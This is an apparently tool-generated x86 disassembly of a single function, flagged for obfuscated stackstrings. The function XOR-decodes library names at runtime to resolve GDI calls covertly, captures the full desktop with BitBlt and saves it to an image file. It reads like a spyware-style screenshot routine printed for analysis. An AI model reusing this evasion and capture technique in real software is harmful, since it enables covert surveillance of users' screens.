Function at 0x460b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x48701f
call fcn.00486b34
sub esp, 0x188
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xdc], 0x64
xor ebx, ebx
mov dword [ebp - 4], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], ebx
push ebx
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov cl, 0x44
mov dword [ebp - 0xc8], 0x21371144
mov dword [ebp - 0xc4], 0x6a767736
mov dword [ebp - 0xc0], 0x282820
mov eax, ebx
mov dword [ebp - 0xd8], eax
cmp eax, 0xa
jae 0x460b98
xor byte [ebp + eax - 0xc7], cl
inc eax
mov dword [ebp - 0xd8], eax
mov cl, byte [ebp - 0xc8]
jmp 0x460b7d
mov byte [ebp - 0xbd], bl
lea eax, [ebp - 0xc7]
push eax
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call esi
test eax, eax
jne 0x460bb5
mov eax, ebx
jmp 0x460bc1
mov edx, str.GetDesktopWindow
mov ecx, eax
call fcn.00401390
call eax
mov edi, eax
mov cl, 0x4b
mov dword [ebp - 0xbc], 0x2e381e4b
mov dword [ebp - 0xb8], 0x65797839
mov dword [ebp - 0xb4], 0x27272f
mov eax, ebx
mov dword [ebp - 0x110], eax
cmp eax, 0xa
jae 0x460c08
xor byte [ebp + eax - 0xbb], cl
inc eax
mov dword [ebp - 0x110], eax
mov cl, byte [ebp - 0xbc]
jmp 0x460bed
mov byte [ebp - 0xb1], bl
lea eax, [ebp - 0xbb]
push eax
call esi
test eax, eax
jne 0x460c1f
mov eax, ebx
jmp 0x460c2b
mov edx, str.GetWindowRect
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x134]
push ecx
push edi
call eax
mov cl, 0x5e
mov dword [ebp - 0xb0], 0x3b2d0b5e
mov dword [ebp - 0xac], 0x706c6d2c
mov dword [ebp - 0xa8], 0x32323a
mov eax, ebx
mov dword [ebp - 0x10c], eax
cmp eax, 0xa
jae 0x460c78
xor byte [ebp + eax - 0xaf], cl
inc eax
mov dword [ebp - 0x10c], eax
mov cl, byte [ebp - 0xb0]
jmp 0x460c5d
mov byte [ebp - 0xa5], bl
lea eax, [ebp - 0xaf]
push eax
call esi
test eax, eax
jne 0x460c8f
mov eax, ebx
jmp 0x460c9b
mov edx, str.GetWindowDC
mov ecx, eax
call fcn.00401390
push edi
call eax
mov edi, eax
mov dword [ebp - 0xcc], edi
mov eax, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x134]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x130]
mov dword [ebp - 0x1c], eax
mov cl, 0xf
mov dword [ebp - 0x2b], 0x666b480f
mov dword [ebp - 0x27], 0x6b213d3c
mov word [ebp - 0x23], 0x6363
mov byte [ebp - 0x21], bl
mov eax, ebx
mov dword [ebp - 0x108], eax
cmp eax, 9
jae 0x460cfa
xor byte [ebp + eax - 0x2a], cl
inc eax
mov dword [ebp - 0x108], eax
mov cl, byte [ebp - 0x2b]
jmp 0x460ce5
mov byte [ebp - 0x21], bl
lea eax, [ebp - 0x2a]
push eax
call esi
test eax, eax
jne 0x460d0b
mov eax, ebx
jmp 0x460d17
mov edx, str.GetDeviceCaps
mov ecx, eax
call fcn.00401390
push 0xc
push edi
call eax
mov edi, eax
mov dword [ebp - 0x18], edi
mov cl, 0x30
mov dword [ebp - 0xa4], 0x59547730
mov dword [ebp - 0xa0], 0x541e0203
mov word [ebp - 0x9c], 0x5c5c
mov byte [ebp - 0x9a], bl
mov eax, ebx
mov dword [ebp - 0x104], eax
cmp eax, 9
jae 0x460d69
xor byte [ebp + eax - 0xa3], cl
inc eax
mov dword [ebp - 0x104], eax
mov cl, byte [ebp - 0xa4]
jmp 0x460d4e
mov byte [ebp - 0x9a], bl
lea eax, [ebp - 0xa3]
push eax
call esi
test eax, eax
jne 0x460d80
mov eax, ebx
jmp 0x460d8c
mov edx, str.CreateCompatibleDC
mov ecx, eax
call fcn.00401390
push dword [ebp - 0xcc]
call eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x160], 0x28
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x1c]
neg ecx
mov dword [ebp - 0x158], ecx
xor eax, eax
inc eax
mov word [ebp - 0x154], ax
mov word [ebp - 0x152], di
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x138], ebx
mov cl, 0x66
mov word [ebp - 0x99], 0x2166
push 2
pop eax
mov byte [ebp - 0x97], al
mov dword [ebp - 0x96], 0x4854550f
mov byte [ebp - 0x92], al
mov word [ebp - 0x91], 0xa0a
mov byte [ebp - 0x8f], bl
mov eax, ebx
mov dword [ebp - 0x100], eax
cmp eax, 9
jae 0x460e46
xor byte [ebp + eax - 0x98], cl
inc eax
mov dword [ebp - 0x100], eax
mov cl, byte [ebp - 0x99]
jmp 0x460e2b
mov byte [ebp - 0x8f], bl
lea eax, [ebp - 0x98]
push eax
call esi
test eax, eax
jne 0x460e5d
mov eax, ebx
jmp 0x460e69
mov edx, str.CreateDIBSection
mov ecx, eax
call fcn.00401390
push ebx
push ebx
lea ecx, [ebp - 0x164]
push ecx
push 1
lea ecx, [ebp - 0x160]
push ecx
mov edi, dword [ebp - 0xcc]
push edi
call eax
mov dword [ebp - 0xd0], eax
test eax, eax
jne 0x460f74
mov cl, 0x15
mov dword [ebp - 0x83], 0x7c715215
mov dword [ebp - 0x7f], 0x713b2726
mov word [ebp - 0x7b], 0x7979
mov byte [ebp - 0x79], bl
mov eax, ebx
mov dword [ebp - 0xfc], eax
cmp eax, 9
jae 0x460ed1
xor byte [ebp + eax - 0x82], cl
inc eax
mov dword [ebp - 0xfc], eax
mov cl, byte [ebp - 0x83]
jmp 0x460eb6
mov byte [ebp - 0x79], bl
lea eax, [ebp - 0x82]
push eax
call esi
test eax, eax
jne 0x460ee5
mov eax, ebx
jmp 0x460ef1
mov edx, str.DeleteDC
mov ecx, eax
call fcn.00401390
push dword [ebp - 0x18]
call eax
push 2
pop ecx
mov byte [ebp - 0x8e], cl
mov dword [ebp - 0x8d], 0x316b6645
mov dword [ebp - 0x89], 0x6e662c30
mov word [ebp - 0x85], 0x6e
mov eax, ebx
mov dword [ebp - 0xf8], eax
cmp eax, 9
jae 0x460f3f
xor byte [ebp + eax - 0x8d], cl
inc eax
mov dword [ebp - 0xf8], eax
mov cl, byte [ebp - 0x8e]
jmp 0x460f24
mov byte [ebp - 0x84], bl
lea eax, [ebp - 0x8d]
push eax
call esi
test eax, eax
je 0x460f60
mov edx, str.DeleteDC
mov ecx, eax
call fcn.00401390
mov ebx, eax
push edi
call ebx
push dword [ebp - 0xd4]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
jmp 0x4612f7
mov cl, 0x2b
mov word [ebp - 0x78], 0x6c2b
push 0x4f
pop eax
mov byte [ebp - 0x76], al
mov dword [ebp - 0x75], 0x5191842
mov byte [ebp - 0x71], al
push 0x47
pop eax
mov byte [ebp - 0x70], al
mov byte [ebp - 0x6f], al
mov byte [ebp - 0x6e], bl
mov eax, ebx
mov dword [ebp - 0xf4], eax
cmp eax, 9
jae 0x460fb5
xor byte [ebp + eax - 0x77], cl
inc eax
mov dword [ebp - 0xf4], eax
mov cl, byte [ebp - 0x78]
jmp 0x460fa0
mov byte [ebp - 0x6e], bl
lea eax, [ebp - 0x77]
push eax
call esi
test eax, eax
jne 0x460fc6
mov eax, ebx
jmp 0x460fd2
mov edx, str.SaveDC
mov ecx, eax
call fcn.00401390
mov edi, dword [ebp - 0x18]
push edi
call eax
mov dword [ebp - 0x18], eax
mov cl, 0x40
mov dword [ebp - 0x6d], 0x29240740
mov dword [ebp - 0x69], 0x246e7273
mov word [ebp - 0x65], 0x2c2c
mov byte [ebp - 0x63], bl
mov eax, ebx
mov dword [ebp - 0xf0], eax
cmp eax, 9
jae 0x461011
xor byte [ebp + eax - 0x6c], cl
inc eax
mov dword [ebp - 0xf0], eax
mov cl, byte [ebp - 0x6d]
jmp 0x460ffc
mov byte [ebp - 0x63], bl
lea eax, [ebp - 0x6c]
push eax
call esi
test eax, eax
jne 0x461022
mov eax, ebx
jmp 0x46102e
mov edx, str.SelectObject
mov ecx, eax
call fcn.00401390
push dword [ebp - 0xd0]
push edi
call eax
mov cl, 0x42
mov dword [ebp - 0x62], 0x2b260542
mov dword [ebp - 0x5e], 0x266c7071
mov word [ebp - 0x5a], 0x2e2e
mov byte [ebp - 0x58], bl
mov eax, ebx
mov dword [ebp - 0x114], eax
cmp eax, 9
jae 0x46106d
xor byte [ebp + eax - 0x61], cl
inc eax
mov dword [ebp - 0x114], eax
mov cl, byte [ebp - 0x62]
jmp 0x461058
mov byte [ebp - 0x58], bl
lea eax, [ebp - 0x61]
push eax
call esi
test eax, eax
jne 0x46107e
mov eax, ebx
jmp 0x46108a
mov edx, str.BitBlt
mov ecx, eax
call fcn.00401390
push 0xcc0020
push ebx
push ebx
push dword [ebp - 0xcc]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push ebx
push ebx
push edi
call eax
push 0x4f
pop ecx
mov byte [ebp - 0x57], cl
mov dword [ebp - 0x56], 0x7c262b08
mov dword [ebp - 0x52], 0x232b617d
mov word [ebp - 0x4e], 0x23
mov eax, ebx
mov dword [ebp - 0xec], eax
cmp eax, 9
jae 0x4610d9
xor byte [ebp + eax - 0x56], cl
inc eax
mov dword [ebp - 0xec], eax
mov cl, byte [ebp - 0x57]
jmp 0x4610c4
mov byte [ebp - 0x4d], bl
lea eax, [ebp - 0x56]
push eax
call esi
test eax, eax
jne 0x4610ea
mov eax, ebx
jmp 0x4610f6
mov edx, str.RestoreDC
mov ecx, eax
call fcn.00401390
push dword [ebp - 0x18]
push edi
call eax
push 0x47
pop ecx
mov byte [ebp - 0x4c], cl
mov dword [ebp - 0x4b], 0x742e2300
mov dword [ebp - 0x47], 0x2b236975
mov word [ebp - 0x43], 0x2b
mov eax, ebx
mov dword [ebp - 0xe4], eax
cmp eax, 9
jae 0x461133
xor byte [ebp + eax - 0x4b], cl
inc eax
mov dword [ebp - 0xe4], eax
mov cl, byte [ebp - 0x4c]
jmp 0x46111e
mov byte [ebp - 0x42], bl
lea eax, [ebp - 0x4b]
push eax
call esi
test eax, eax
jne 0x461144
mov eax, ebx
jmp 0x461150
mov edx, str.DeleteDC
mov ecx, eax
call fcn.00401390
push edi
call eax
push 0x6c
pop ecx
mov byte [ebp - 0x41], cl
mov dword [ebp - 0x40], 0x5f05082b
mov dword [ebp - 0x3c], 0x8425e
mov word [ebp - 0x38], bx
mov eax, ebx
mov dword [ebp - 0xe0], eax
cmp eax, 9
jae 0x461188
xor byte [ebp + eax - 0x40], cl
inc eax
mov dword [ebp - 0xe0], eax
mov cl, byte [ebp - 0x41]
jmp 0x461173
mov byte [ebp - 0x37], bl
lea eax, [ebp - 0x40]
push eax
call esi
test eax, eax
jne 0x461199
mov eax, ebx
jmp 0x4611a5
mov edx, str.DeleteDC
mov ecx, eax
call fcn.00401390
push dword [ebp - 0xcc]
call eax
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x4611e9
mov dword [esi], vtable.Gdiplus::Image.0
mov dword [esi], vtable.Gdiplus::Bitmap.0
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push dword [ebp - 0xd0]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 4], eax
jmp 0x4611ec
mov dword [ebp - 0x1c], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x170], eax
mov esi, 0x48b38c
lea edi, [ebp - 0x180]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x16c], 4
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x194]
push eax
push ecx
call fcn.00458afa
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
inc eax
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004673db
pop ecx
mov edi, eax
mov ecx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0x10
jb 0x461256
mov esi, dword [esi]
inc ecx
push ecx
push esi
push edi
call fcn.0046f8ad
add esp, 0xc
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x194]
push eax
push edi
mov esi, dword [ebp - 0x1c]
push dword [esi + 4]
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x461284
mov dword [esi + 8], eax
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
push 0x3c
pop ecx
mov byte [ebp - 0x36], cl
mov dword [ebp - 0x35], 0xf55587b
mov dword [ebp - 0x31], 0x5058120e
mov word [ebp - 0x2d], 0x50
mov eax, ebx
mov dword [ebp - 0xe8], eax
cmp eax, 9
jae 0x4612c3
xor byte [ebp + eax - 0x35], cl
inc eax
mov dword [ebp - 0xe8], eax
mov cl, byte [ebp - 0x36]
jmp 0x4612ae
mov byte [ebp - 0x2c], bl
lea eax, [ebp - 0x35]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x4612e2
mov edx, str.DeleteObject
mov ecx, eax
call fcn.00401390
mov ebx, eax
push dword [ebp - 0xd0]
jmp 0x460f61
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8